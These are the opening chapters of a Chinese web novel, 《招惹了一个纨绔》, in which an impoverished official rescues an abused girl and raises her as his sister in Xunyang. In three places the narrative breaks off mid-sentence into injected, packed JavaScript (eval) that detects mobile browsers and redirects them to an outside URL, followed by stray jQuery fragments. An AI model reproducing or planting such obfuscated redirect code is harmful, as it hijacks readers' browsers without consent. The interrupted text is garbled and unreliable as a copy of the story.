《招惹了一个纨绔》 1. 浔阳渡(一) 元和二年,雨落钱塘。 阿苓随江屿离开钱塘那一日,听说赵府死了个四娘子,正值发丧。 更听闻,她的尸身是从钱塘江里打捞上来的,浑身都泡烂了,被鱼虾啃食得不成模样。 她在钱塘江上等兄长登船,听雨声如铃,又听江畔的行人议论。 “不是前几日才走丢寻了回去,这会怎又淹死了?” “听说是去江边替她小娘放灯祈福,一个大浪打过来,人就没了。” 不少人叹惋,已经十三岁,再过两年就到出嫁的年纪了,当真是可惜。 有人说:“听说她和她娘一样,都得了疯病,兴许也没有几户人家敢娶她。” 也有人道:“她也是命不好,怎么就摊上这么个亲娘,带累她十几年。” 江屿从城里买了蜜饯回来,在江头等船夫发船。 正逢沿岸有人泊船,有个蓝袍小郎君先一步下船登岸,没等身后仆从跟上,就随手扯了江屿的衣衫追问: “什么四娘子?哪一个四娘子?” 江屿拨开小郎君的手,回答道:“咳——还能是哪一个?自然是杭州赵府,赵大人家的幺女。” 小郎君又问:“那小娘子她怎么了?” 江屿道:“死了……就在前几日,失足落水淹死的。” 小郎君心中一悸,拨开人群,直向城北奔去。 一个仆从追在他身后喊:“郎君、郎君,您走慢些!” 江浪轻轻拍打着船舷,船索系着小舟,在江岸苇荡中摇摇晃晃。 船夫站在船头催发,那对主仆的身影也在人群中远去了,江屿遥遥往岸上瞥了一眼,寻进了船舱。 阿苓一身麻布衣衫缩在船舱里,帷帽之下面色苍白。 她自小怕水,每一登船便会心悸,奈何江屿要赶去浔阳上任,已经在钱塘耽搁数日了,还是走水路更为快捷。 江屿解了包裹,将蜜饯塞到阿苓手中,像是同她赔罪似的,还催促她快些吃:“浔阳地僻,去了那里,可就吃不上了。” 阿苓摇了摇头,才到钱塘江里凫了一圈水,连泥沙都没吐干净,她现下无甚胃口。 江屿道:“抱歉啊,我也未尝料到天底下会有如此狠心的爷娘,连畜生都比之不及。” 阿苓反问他:“你爷娘待你很好吗?” 江屿却笑道:“非也,我亦无父无母。天地之大,我也是独身一人。” “哦。”阿苓淡淡应了一声,放下帽帷薄纱,不去看那船舷与江浪。 江屿背倚船舱坐下,如释重负,“此事已了,你还欠我三百两,莫忘了。” 阿苓道:“没钱。” 江屿道:“没钱就打工抵债,到了浔阳替我誊抄文书,一页给你算十文钱,这不很快就能还上了?” 阿苓掰着手指头算,怎么算也算不清。十文十文地攒,怕是手抄断了也攒不够。 她连连摇头:“不行不行!我不识字。” 江屿道:“那又何妨,我教你啊。” 阿苓道:“三百两,你把我卖了也不值这么多钱,五十两罢。” 江屿望着前路两岸青山,怅然感慨:“怎么这么没良心啊,把你从赵府捡回来可不容易。说好的三百就是三百,不准赖账。” 江屿似想起些什么,遂问她:“我是否忘了问你的名姓?” 阿苓支支吾吾,只含糊地吐出一个“岺”字来。 问她是哪个岺,她说不出来。 江屿便当作心下了然,从包裹中取出刀笔与竹简,三两下刻划在青竹上留下一个小字,转而递到阿苓面前。 他说:“那我送你一个字,你以后就叫江岺可好?” 阿苓低头凝着简上那一方端正小字,刻痕锋利,如山峨峨。 从此名上的草,改换作了山。 她缓缓道一声好。 长久的沉默后,江屿走到船头伸手往江水中一揽,又回过头来唤她:“江岺,江上风景很好,要不要出来看看?” 是想叫她到舱外去看看,何为春水碧于天,画船听雨眠。 她坐在原处一动也不动,碧幽的江水寒凉,令她每一寸发丝都禁不住寒颤。 江屿又坐回她身边去,问道:“还是惧水?” “嗯。”阿苓点点头。 她小娘死后,尸体被投入了钱塘江,连牌位都没有,叫她如何去看? 奔赴浔阳的一路漫长,在一叶摇摆不定的小舟上,阿苓偶尔同他谈起些过往。 她说,她的阿娘生前被关在柴房里,受嫡母搓磨至死,她怨恨嫡母的心狠手辣,阿耶的冷眼旁观,十二岁那年从家中逃了出来。 这是阿苓对江屿说起的。 实际上,她阿娘是赵府后院的疯女人,放火烧了后院,又失足跌入莲花池里,溺死了自己。四娘子却一口咬死是嫡母害死了她生母。 不多久,她在嫡母的茶里下了毒,被打了个半死。钟夫人说她认个错就饶过她,可偏偏她性子倔,都只剩下一口气了,就是不肯松口。赵大人气上心头,命人将她丢出府门外等死。 可大人当晚就后悔了,急急派人出门去寻,可钱塘上下,哪里还有四娘子的踪迹? 这些是江屿登门拜会赵大人时,听家仆的谈资知晓的。 赵府的人在钱塘寻了足足有两日。 后来啊,四娘子尸身是在钱塘江里寻到的。 二月末的赵府发生了何事,只有舟里的二人清楚。 那时春寒未褪,江南下了一场雨,很冷。 雨丝润如酥,浇透了赵府后院大火的余烬,洗去了所有人祸的痕迹。 赵府侧门踏跺下有个十二三岁的小娘子,她满身的血迹,躺在雨泊中等死。 等了好久,四肢都已冻得麻木,然痛意依旧清晰,寒意似针刺进骨子里。 没等到她咽气,倒先等来了雨停。 其实雨并未停歇,是有个青衫儒生撑伞覆在她头顶上。 那人俯身看她,目光沉沉:“小妹妹,你家在哪里?” 阿苓微睁开眼,看到个白面儒士,雨水让她眼前模糊,看不真切。视线越过他肩头,恰瞥见赵府大门的一角,隐在雨雾之中。 家? 熟悉的屋宇近在咫尺,可那儿早就不是她的家了。 阿苓咽下喉间的血腥气,乌睫之下满是戾气:“滚远些,不用你管我。” 求生不可得,求死也不得个清静。其他人早就对她避而远之,也不知这人什么来头,上赶着来寻晦气。 雨伞向她倾斜了一分又一分,他又问:“你可还有家人?我送你回去罢。” 阿苓沉重地阂上眼,偏偏他问的每一个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106249|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,都教人无力去回答。 她分明才刚逃出来,怎么能回去呢? “怎么弄了这么多的伤?又在雨里染了风寒,这可怎么得了啊?还是先寻个医馆看一看罢。” 雨里只剩下一个人的喃喃自语,他背着个小娘子,脚步越来越匆忙。 阿苓道:“我活不成了,你放我下来吧。” 他寻了个冠冕堂皇的理由:“那可不行,我到南边上任,也算得一方父母官,哪能任由百姓青天白日死在眼前?” 阿苓又睁开眼,目之所及是一身石青色麻布长衫,幞头也是洗得发硬的粗麻布,他半点儿也不像个官员。 她伏在肩头半晌没说话,这人又同她道:“我带你回客舍养伤,寻个医生。等你好了,再送你归家。” 长街的雨势渐大,耳边嘈杂。 伞下也落了小雨,是少女伏在一个陌生人的肩头哭得稀里哗啦。 她一身的血污与泥水那样脏,都把这人的衣衫弄脏了,真烦。 他听到嚎啕哭声,一面自报家门,一面安抚她道:“敝姓江,名屿,本是要到浔阳去上任的。途经此处,见你一人被丢在外面,什么前事我就不过问了,你也莫怕,我不是什么坏人。” 一柄伞撑得摇摇晃晃,他在雨里行走艰难。 阿苓紧咬着牙,忍下鼻中酸涩,还有背上比刀割还难捱的杖伤。 这人到底没忍心让她死在大街上,一路把她背回客舍,还请了个游医来看诊。 苎麻帐外的脚步来来往往,窗外仍传来钱塘的雨声,药的腥苦味驱走了血腥气息,只有困于大火的梦魇挥之不去。 濒死之际有人救了她,可救她的这人很穷,她轻生的念头还未断去,这人就忙着问她要钱。 他说,替她延请医生、买药治病很贵,他去浔阳赴任的日程也耽搁了,要是她就这么死了,先前花了这么多银两岂不白费? 起初只是欠了五十两诊金和药钱,阿苓让他同赵大人讨要,他不肯。 直到赵府的人寻上门来,说他拐带赵家的四娘子,堂堂江州录参军事,途径杭州时被倒打一耙。不仅连药钱也没讨回来,还赔了赵府二百两罚金,他们才肯息事宁人。 仅因一次路见不平,丢光了盘缠,整整二百五十两。 江屿怀着满心不忿,本打算乘船离开钱塘,孰知恰恰撞见了赵家那杀人灭口的勾当。 江屿从钱塘江中捞起那杖伤未愈、又染风寒的小娘子,痛骂不止:“冤有头债有主,这下你欠我的更多了,还清之前不许死了。” 阿苓哪知,她从鬼门关里走了两遭,醒来时欠下三百两的巨债,还平白得了个便宜兄长。 快到浔阳时,江屿又唤她到船头去瞧瞧。阿苓扶着舱门往外一探,浔阳江上,雨霁虹现。 她收起了没吃完的蜜饯,在一堆破烂的行囊里翻翻找找,找来找去,只找到一根芙蓉玉簪,阿娘买的时候花了不少钱,可若是拿去长生库典当,也换不了几个铜板。 随行的所有物件中,寻不见一只金蝉,忽然想起,早在上个夏末秋初的时节,它被埋在赵府后院的青梅树下。 当初去钱塘寻她的小郎君,也在行人的喧闹声中不见了踪迹。阿苓没料到他会来,连个道别的机会都没有。 想来他再见不到童年玩伴,却赶得及去赴她的葬礼。 2. 浔阳渡(二) 浔阳地卑湿,自古为官员贬谪之地,江屿却说,他是自愿到这儿来的。 江岺问他为何。 他说:“浔阳城外有位娘子,于我有莫大的恩情,我须得回来还恩的。” 江岺不解道:“可你不是被贬来的吗?” 江屿黑着一张脸,恼羞成怒道:“你不会说话,可以不说。” 江岺遂闭了嘴。 毕竟眼前跟她毫无血缘关系的兄长,是她的债主。 在浔阳城里赁了处宅子安顿下来之后,江岺跟着江屿找上了门,她也想去见一见养兄的那位恩人。 浔阳城外一户人家,沿溪筑篱围了几间茅舍,茅檐低小。 正逢阳春,桑枝篱笆却枯死了,屋舍四周没有一点绿意。 江屿上前去叩门,惊得院内唯一一只母鸡四处乱飞。 没有人前来应他,门前只坐着一位哭肿了眼的老妇人,鹑衣百结,满头花发。 江屿推门进去,同门前老妇人恭恭敬敬道礼:“问婶母身体康健,不知槿娘在否?” 老妪缓缓抬眼看他,拄杖起身来。 “槿娘?贵人寻槿娘做甚?” 江屿道:“晚生昔年进京赶考,曾得过槿娘一水一饭之恩,今在浔阳谋得卑职,特来还恩。” 老妪揉着眼,四处张望,突然放声大哭起来。 江屿慌了,忙问婶母怎么了。 老人家一面摇着头,嘴里念叨着:“我的槿娘在哪儿?我也寻不见她了。” 这景况让江岺想起了生母,她放火焚家之前,也是这么一副疯癫模样。 江岺扯了扯江屿的袖子,道:“阿兄,她好似脑子糊涂了,不若找旁人问问罢。” 江屿叹了口气,缓声道好。 他在城外乡里问遍了邻里,才知是槿娘那好赌的生父欠下了一屁股赌债,早在去年秋的时候,就拿槿娘抵债去了。眼下,还不知那苦命的女儿被卖去了何处。 真是个不大好的消息。 江屿停在下梧乡的老榕树下,发了一下午的呆。 江岺蹲在他旁边,一会儿折树枝,一会儿数蚂蚁,不敢贸然同他搭话。 过了好久,日头都要落山了,坐在榕树背阴一面,背后凉飕飕。 江屿木木地起身,拍了拍衣衫上的尘,神色间看不出什么喜悲。 “回去吧。”他回过头转看向仍蹲在原地的人。 “慢慢找,总能找到的。”这是他安慰自己的话。 江岺捶了捶蹲久发麻的双腿,跟在便宜兄长身后,暗自嘀咕,死腿走快些。 回去以后,他又差人去打听陈家槿娘的消息,又时时接济槿娘的年迈老母,如是折腾,搭进去不少银子。 他每日须得点卯上任,闲时还要教江岺读书识字,每每逢着休沐,就分出闲暇,离开江州去寻救命恩人。 江岺每日留在家中抄书,午时沿着门外的窄巷出门,去江屿上值的地方给他送饭食。 经常能碰上他和同僚吵架,他得了理就不饶人,哪怕是上司也不例外。 江岺好像知道他为什么被贬了。 他自找的。 他从江州录参军事做到了江州司法参军,不到半年又官降一阶,成了九品芝麻官,前途可谓是毫无希望。 降职降了俸禄,他从二进小院搬进了只有三间屋子的窄巷陋室,吃食上也是一顿比一顿寡淡,日子过得捉襟见肘。 于江岺而言,吃住倒是其次。 她所不能忍受的是——街坊领居不是站在门口骂街的泼妇,就是提了刀嚷嚷着砍人的屠夫,还有每逢江屿出门,就精准摔倒在他脚边的年迈老翁,叫他赔药钱。 为了搬离这里,江岺时不时同他旁敲侧击:“阿兄,可记得孟母三迁的故事?” 江屿斜睨她一眼,只回:“我又不是你爷,犯不着操心这些。” 这人嘴硬,心更硬。 秉着死道友不死贫道的决绝,江岺和那个碰瓷的老翁串通一气。 直到老翁第十九次倒在江屿面前,缠着他赔医药钱时,江屿先忍不住了,气冲冲回到家中,拍案道:“搬家!明天就搬!” 江岺掩口胡卢:“等等吧,这个月的租金刚付。” 江屿听了这话,又平复下来,半晌才道:“那就再忍忍吧。” 熟料翌日打开院门,又撞见老翁那张熟悉的面孔,江屿险些气闭过去。 他当机立断去找了个掮客*,要赁一处新的宅子。这回把江岺也带上了,美其名曰过问她的意见。 掮客先带二人去看了城南的一间新宅,说是新宅,其实也不新,毕竟门前的杂草都有江岺这么高了。 一进院门,黄芦苦竹绕宅生,听取蛙声一片,屋内虫蚁肆虐。 江岺恍惚间以为自己置身乡间,脚踝也冰冰凉凉的。低头一看,一条青绿小蛇正盘在她的脚边。 “嘶——何人在此养蛊?” 江岺一惊一乍,抬脚就把蛇甩到了掮客身上,把这人也吓得又惊又叫,转头挂到了江屿身上。 江屿眼皮跳了跳,说道:“舍妹胆子小,换一间看看吧。” 于是掮客又领二人去了隔壁一间老宅,老得都掉渣了,地上没一块完好的地砖。 江岺一扶墙壁,掉了一层墙皮;江屿一推正门,门板吱呀吱呀断成了几块。 江屿拍掉了手里的木屑,回头问掮客:“你手里头……有没有给活人住的宅院?” 掮客道:“有是有,就是价钱不太合适。” 话音刚落,江屿头顶的房梁从天而降,他躲避不及,被砸伤了一条腿。 这回,轮到他问别人索赔药钱了。 江屿伤了腿,在家中休养了半月,掮客提了赔礼登门赔罪。 江屿躺在榻上,冷眼瞧他:“这回又想出了什么阴招?” 掮客陪笑道:“这回是刚收了一座宅子,想着价钱合适,位置合适,样样都妥帖,才来寻江大人您来了。” “哦?”江屿狐疑打量着他,“姑且再信你一次。” 他拄杖出了门,与窄巷里即将摔倒的老翁大眼瞪小眼。 掮客引兄妹两人去到城东,起初二人还存有疑心,城东地段繁华,岂是江屿那点微薄俸禄能租得起的? 对于价钱的恐慌,随着他二人步入这座前院以后,一点点变踏实。 这宅子诡异得很,但使人身置其中,浑身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106250|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下都透着一股寒意。 五月的大热天,江岺后背已经被冷汗浸湿了。 “这宅子有什么说法?”江屿停在门口,不敢迈步上前。 掮客满脸堆笑,拍着胸脯保证:“江郎君,您就放心吧。小的保证,这屋子新得不能再新,还没有房梁,绝对砸不到您!” “……”江屿眼皮子又突了突,“为何没有房梁?” 掮客道:“上个月,这屋的女主人吊死在房梁上,屋主怕招鬼,就把房梁拆了。” 江岺哆哆嗦嗦地开口:“是……是……是凶宅你怎么不早说?这浔阳城里没有阳间的宅子了吗?” 掮客道:“二位不再考虑考虑了?买这地方划算啊。” 江屿问:“有多划算?” 掮客伸出五根手指,道:“三进的宅子只需五十两,您打着灯笼都找不到这么妥帖的住处了。” “一年五十两?那还是罢了。” “不不不,不是赁,是卖。五十两是整座宅子的价钱。”掮客一面解释,一面翻出袖中文书,“喏,您瞧,小的将地契都拿过来了。” 江屿与江岺相视一眼,沉默了。 这么个价钱,很难不心动。 江屿率先发问:“阿岺,你觉得这地方如何?” 江岺艰难道:“还行吧——这里挺凉快的,这么热的天,也不用上别处纳凉了。” 江屿点头道:“不错。” 江岺又道:“阿兄,我以为这宅子也没那么邪乎,我素来不信鬼神之说,你呢?” 江屿再度点头道:“我也是这般想的。” 果然,没有什么比穷更可怕。 江屿当日就与掮客盖戳拿到了地契,隔日收拾物件搬到了新家。 鸣蝉叫个不停的夏夜,江岺躲在被窝里撒抖抖地颤,一晚上不敢合眼。 突然,屋外传来一阵脚步声,断断续续的。 一脚深,一脚浅…… “吱呀”一声,门开了复又合上。 那一深一浅的脚步声越来越近,停在了她的床榻边。 墙壁上游弋着张牙舞爪的影,直将她胆子都撕裂。 那鬼魂扯下她被褥的一瞬,一把铜钱从她手中撒了出去,把对方砸出了闷哼。 “鬼啊——”江岺大喊着惊魂未定。 江屿抬手弹了一下她的脑门,笑道:“不是鬼,是你兄长。” 江岺冷着脸道:“你大半夜的不睡,跑来吓我作甚?” 江屿道:“白日里忘了同你说了,其实府衙里有一桩未结的案子,苦主就是这宅子原先的主人。县令叫我来此守株待兔,凶手说不定还会回来,毁尸灭迹。” “什么?”江岺整张脸都吓得崩裂了,话音里带着哭腔,“你怎么不早说?早知道我就不来了。” 江屿道:“怕什么?不是还有我在吗?” 江岺扯着他的袖子,颤声道:“那咱们还是住一处吧,你在我房间里打个地铺,或者我去你屋里打个地铺也行?” “想都不要想。”江屿贱兮兮道,“真以为我担心你啊?我就是想让你晚上睡不着而已。” 江岺攥紧了拳头,更加笃定了,这人有病。 3. 浔阳渡(三) 搬到新家的第一日,彻夜无眠,接连几日也是如此的。 江岺突然回忆起那条破旧小巷里的生活,屠夫大清早磨刀的声音,泼妇骂街的声音,久了不闻也会觉得亲切。 只有她的“好兄长”,每日晨起在檐下练功,丝毫不被梦魇所扰。 他每日卯时准时敲开她的房门,在桌上留下早膳和当日的课业,然后到官署上值。 江屿走了,江岺不敢一个人待在凶宅里,卷了两本册子就跑到菜市口寻阿黄作伴。 闹市里的行人来来往往,见了她总要夸赞一句: “小娘子读书真是用功啊。” “在集市里也不忘看书。” 江岺顶着眼下大片的乌青,在一声声赞许中迷失了自我,背书也愈发地用功。 又一日,她揣着一颗打颤的心入眠,依旧是到了三更天也睡不着。褥子上尽是她翻来覆去的褶皱,一道一道都是她失眠的印证。 半夜口渴了,这才是真的要命。 更加睡不着了。 江岺摸索着从床上爬起来,想去倒杯水喝。 双脚刚一触地就察觉不对劲。 她脚下是个活物,有温度,还会动。 是凶手回来了吗? 江岺心下一惊,扯着嗓子就开喊:“阿兄!阿兄救命啊!” 她脚下那个大活人也在喊:“别喊了,别踩了!你兄长在此,快被你踩得气绝了!我命休矣!” “你你你——”江岺坐回榻上,看着榻下那模糊人影,气急道,“你之前说什么来着?怎么又跑我屋里打地铺来了?” 江屿一本正经道:“自然是因为——我也怕啊。” 江岺道:“怎么不早与我说?吓死我了。” 江屿道:“我也不知你会起夜啊。” 江岺推了推他,道:“渴了,我去倒杯水喝。” 她坐在茶桌前,猛地灌了一口凉茶。 江屿突然说道:“你听到没?外头什么动静?” “哪有?这回我可不上当。”江岺不以为意,困倦至极,上下眼皮也开始打架。 她慢吞吞地摸回床榻边,竟也听到了一阵窸窣的动静。 这声音像脚步声,不是从门外,而是从屋顶传来的,像四脚的禽兽在攀援。 她顿时汗毛竖立,连声音都止不住地抖:“是人是鬼啊?” 紧接着,一块块瓦片被揭开,如同打鱼鳞一般。有一片瓦顺着屋檐落下,摔了个四碎。 “它在找东西?” “嘘——” 江屿拎起江岺卷进被褥里,干脆利落地扔回床上。 “待在这儿别动。” 江岺被硬梆梆的床板砸得头昏眼花,他却头也不回地追了出去。 又是整夜无眠。 江岺有理由怀疑,比起那个没影的凶手,自家兄长更想要她的性命。 江屿是第二日早晨才回来的,顶着额上一个肿包,手臂上两处刀伤,一瘸一拐地扶墙而入。 好不凄惨。 江岺强忍下幸灾乐祸的笑意,谄媚地跑上前去扶他,连连发问:“阿兄,你怎么了?昨晚发生了什么事?你被同僚套麻袋揍了?” 江屿起初板着一张脸,道:“你能不能盼我一点好?” “哪有哪有?”她指着自己眼下的乌青说道,“你瞧,我可是担心了你一晚上没睡着。” “哼!算你还有点良心。”他一拍桌案,突然笑了起来,“那狗东西怎么可能是我的对手?你兄长我呀,就要官复原职了。” “哦。”江岺敷衍应了声,“恭喜恭喜。” 八品和九品,其实也没什么差别,这日子过的,还是一样的紧巴巴。 凶手被捉拿归案了,夜里再没有诡异的声音出现。 江屿还请泥水匠到家里来,给主屋装上了新的房梁,连屋顶也重新修葺了一番。 瓦匠在屋脊上发现了一个沉甸甸的小匣子,交给了江屿。 江屿打开一看,险些被金灿灿的金锭子闪瞎眼。他故作恍然大悟状:“我说他怎么天天晚上在屋顶上打鳞,原是在找这些玩意儿啊。” 江岺看了十分眼馋,不自觉伸出手去。 “阿兄,能给我摸摸吗?就摸一下,不动别的心思。” “休想!”江屿毫不犹豫合上钱匣,贴上封条,其动作行云流水。这人义正严辞道,“这些都是脏款,须得移交官府,不可私藏。” 江岺差点被他的一身正气唬住了,使劲揉了揉眼。 不对劲,这还是她那视财如命的兄长吗? 她说:“交了官府,指不定还是进了县令的口袋,不如——” 江屿敲了一下她的脑门,眯起眼打量她道:“谁教你这些的?莫非你阿爷以前也是这样干的?” 江岺柳眉竖起,怒道:“胡说八道!我没有爷娘。” 江屿阴阳怪气道:“哦——那赵大人还真是这样为国为民的啊。” 江岺道:“你不是也见识过了嘛。” 在赵家勒索你的时候。 江屿拌嘴落了下风,遂不与她争论,抬手不轻不重弹了一下她的脑门,叮嘱道:“我上值去了,晚上回来。你在家里记得温书,别跑到菜市去了,那里读不成书的。” “哦。” 她还是眼睁睁看着江屿把那一匣金锭子搬走了,那时江岺离后半辈子锦衣玉食只有一步之遥。 两日后,逢着江屿休沐。 他破天荒地不强迫江岺在家练字,说要带她去寺里上一柱香,驱一驱晦气。 已经是六月天了,知了聒噪,天气酷热。 他不肯叫马车,非得拉着江岺顶着大太阳行路,一路风尘仆仆。 路上有人策马,有人驱车,也有像他们一样徒步缓行的香客,在求神拜佛的途中,一步一虔诚。 途中见浔阳江上有一小洲,洲上有一古刹,名曰江心寺。 江岺指着那江心洲,迫不及待道:“我们到了吗?” 江屿道:“还远着呢。比起江心寺,我们要去的地方相去浔阳城更远。但因着西林寺更灵验,许多人宁愿多行这二十余里路程。” 江岺似猛然回想起什么,揪着他衣袖问道:“你说那座寺庙,叫西林寺?” 江屿道:“是啊,怎么了?” “我阿娘从前也跟我提起过,她那时说,让我去西林寺为她上一炷香,就当是为她祈福了。”江岺低下头,说着说着,苦笑不止,“那时我以为她疯了,杭州哪里有一座西林寺?却不想,在江州啊……” 阿娘死后,赵家人没有将她好生安葬,更没有供奉牌位,而是将她的残骸投入了钱塘江。 她似乎早就料到自己是这么个下场,清醒之时,曾与江岺说过,叫她到西林寺去,为阿娘燃一对香烛,就当是祈福了,好引得魂兮归去。 原来天底下,真的有一个她祈求栖身的地方。 余下的路程,太阳依旧毒辣,可江岺再也没有喊过累了。 山径通幽,迂行数里。 香客拾级而上,裹挟满鞋的青荇,碧色染上衣摆。随处可闻水声、喧声、屐齿声,惊起林间栖鸟。 泉流庭庑间,禅院小而玲珑。 山间回荡着肃穆的钟音,细微的山风掀起袅袅炉烟,轻抚佛前人的眉目。 系满祈福带的宝树下,江岺也取了一段红带,提笔思忖许久也不曾落笔。 江屿问她:“怎么不写?” 江岺低眉叹道:“只记得先母姓凌,我却不知是哪一个‘凌’字。” 江屿道:“笔给我。” 他接过毛笔,信手在祈福带上写下“凌云”之“凌”,而后转交给江岺。 江岺纳闷着:“真是这个字吗?随手捏造的,可不成。” 江屿道:“的确是这个字,我只是恰好知道罢了。” 江岺没再多问,踮起脚将这红带挂在了高枝上,成了宝树上万千随风飘摇的愿景之一。 江屿问:“你阿娘……你会想她吗?” 江岺矢口否认:“不,我恨她。” 那是一个连完整名姓都没能留下的人。 尽管她生前不曾苛待、责罚过江岺半分,乃至死前都是在为她考虑、谋划。 江岺每每回想起她时,却还是觉得憎恨,情愫不知所起,却无可奈何。 江屿回首望见立在禅寺下的老和尚,一身褪色缀满补丁的袈裟,香台飘起的烟雾模糊了他苍老的面容。 那是西林寺的怀泽师傅,十二年前在此剃度出家。 老和尚双手合十,朝宝树的方向佛唱一声,缓缓转身回了禅房。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106251|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江屿没由来地冒了火气,对着禅房骂了一句:“老东西。” 江岺赶忙拦着他,道:“那不是西林寺的方丈吗?你怎可对他无礼?” “我哕!”江屿啐了一口,骂得更狠了,“老不死的东西。” 江岺道:“本是来求佛祖保佑的,你倒好,把佛祖也给得罪了。” 江屿笑道:“佛祖怎么会跟我计较?拜完了吗?拜完了就回去了。” “嗯。”江岺点点头。 六月,正是扶桑花开的季节。佛前火红的扶桑花,又有别名,曰佛及。 途径开满佛及的芳丛时,江岺一时兴起:“阿兄,我们院子能不能种一些花?” 江屿道:“你吃饱了没事干是吧?有这闲暇,不如多临几张字帖。” 江岺遂不再提了。 归途当中,逢着住在对门的张婶子,她到西林寺来求子。 张婶子见了他二人,笑道:“江大人也带妹妹来寺里上香啊?” “是啊。”江屿张了嘴就胡说八道,“我与舍妹来这里求财求姻缘呢。” 他闭口不谈先前对禅院那些泥塑木雕的嗤之以鼻,此刻心情似乎格外的好。 行了一天的路,累得浑身半点力气也无。江岺正就着酱菜加麦饭埋头苦吃,突然听到头顶传来一声轻叹:“抱歉啊,让你吃苦了。” “你在说什么?”她细细咀嚼着难以下咽的饭菜,不明所以。 有凶宅能避雨,有粗茶淡饭能果腹,还有个便宜兄长跟集市里的裁缝讨价还价,给她制新衣服,她没有什么不满足的啊。 江屿淡淡道:“没什么,吃饭吧。” 第二日,铁公鸡拔毛了,从集市里买了一只鸡回来,亲自下厨给她炖了一锅鸡汤。 江岺坐在饭桌上不敢动筷,心里没底。 这是她在这个家里吃的最后一顿饭了吗? 江屿问她:“怎么不吃啊?” 江岺又惊又恼,反问:“你是想把我喂胖些,卖个好价钱吗?” 江屿扯下一只鸡腿塞到她嘴里,骂骂咧咧道:“吃还堵不上你的嘴。” 日子久了,这人好像不拿自己当债主了,可她还是想早点还清欠下他的三百两。 奈何她字丑,抄书也实在太慢。 江屿拿笔杆训斥起她的时候,下手没轻没重,心狠丝毫不逊于她那个卖女儿的阿爷。 江岺苦不堪言,想到那日在西林寺,他说起求姻缘的玩笑话,只恹恹求他:“阿兄,要不你还是把我卖了吧,帮我寻个有钱的员外郎,我后半辈子不愁吃穿了,你也能早点凑够你娶妻的钱。” 江屿一怔,道:“这哪能啊,我干不出这么不要脸的勾当。” 江岺感动不过一时半刻,他紧接着又说:“你这小身板,卖了也不值几个钱的,还是留你安安心心抄书罢了。” “……”江岺语塞。 他果然还是那个无良债主,一点没变。 每当她这样以为时,他过不了多久又会令江岺改观。 一大清早,也不知他翻没翻过黄历,就胆敢在院子里动土。 江岺走近一看,墙脚一排的地砖都被他掀了。 她问:“这地底下也藏了金子吗?” 江屿笑道:“要让你失望了,金子没有,蚯蚓倒是多得很,要不要抓两条给你玩玩?” 江岺接连倒退了几步,“不必。” 江屿道:“这地砖我懒得请人来修了,此处还是留给你种花罢。” 江岺觉得不太对劲,仰头望天,太阳还是从东边出来的。 他拍掉手上的泥土,说要带她到集市里买些花种。 此人对她的态度发生了天翻地覆的变化,从最开始的嫌弃,动不动就要呛她一句,到现在嘘寒问暖,隔三差五给她带新鲜点心,江岺开始怀疑他鬼上身了。 刚开始她在种花一事上,七窍通了六窍——一窍不通,种什么死什么。 江屿一开始会耐心站在一旁看她翻土、浇水。 到后来,看着那一片泥地依旧光秃秃,开始苦口婆心劝她:“四体不勤五谷不分,你连时令都不懂,还是别种花了,回来好好读书吧。” 江岺问:“书里有说,怎么种花的吗?” 江屿略略思忖,一拍掌道:“还真有。” 4. 浔阳渡(四) 江屿昔日在长安城为官时,同僚曾写过一篇文章,名曰种树郭橐驼传。 通篇四五百字,讲到如何种树的,不过短短数言:“凡植木之性,其本欲舒,其培欲平,其土欲故,其筑欲密……”* 江岺尚不懂文中那些暗讽,她只知这篇传记当中,她有好些字不认识。 况且,她读完了整卷,尚在纳闷:“种树与种花能一样么?种树与为官,又怎能混为一谈?” 江屿只笑:“我也不知。” 江岺很快反应过来,阿兄果然只是在骗她读书。 深秋了,她在墙角扦插的月季叶子落过一遭,又长出来几簇新芽。 她信了书里无为而治的鬼话,不去松土也不勤浇水,几乎放任不理。 有心栽花花不开,便盼着无心插柳柳成荫,谁知霜降过后,那些刚长出的芽儿都被冻伤了。 江岺气馁,垒好了墙角的砖块,丢了栽花宝典,又捧起从前落下的《毛诗》,下定决心不再种花了。 夜里下了一场雨,院里的月季兴许都被冻死在这场秋雨里了,江岺抄了整晚的书,没走出去看一眼。 第二日醒来时,江岺发现院子里搭起了挡雨的竹架,稻草将花土遮得严严实实,她的月季半点也没被淋到。 江岺脸上写满了不可置信,看来那只鬼还没从她兄长身上下来。 不然他每日忙得脚不沾地,怎么会有闲心去养护她的花? 秋日扦插的月季,捱过了冬日的霜冻。偶然趁着春雨滋养,冒土见微茁,二月见枝繁,三月见花茂。 嫣红的花骨朵,有如胭脂笔点破了万绿丛,芳意深缄。 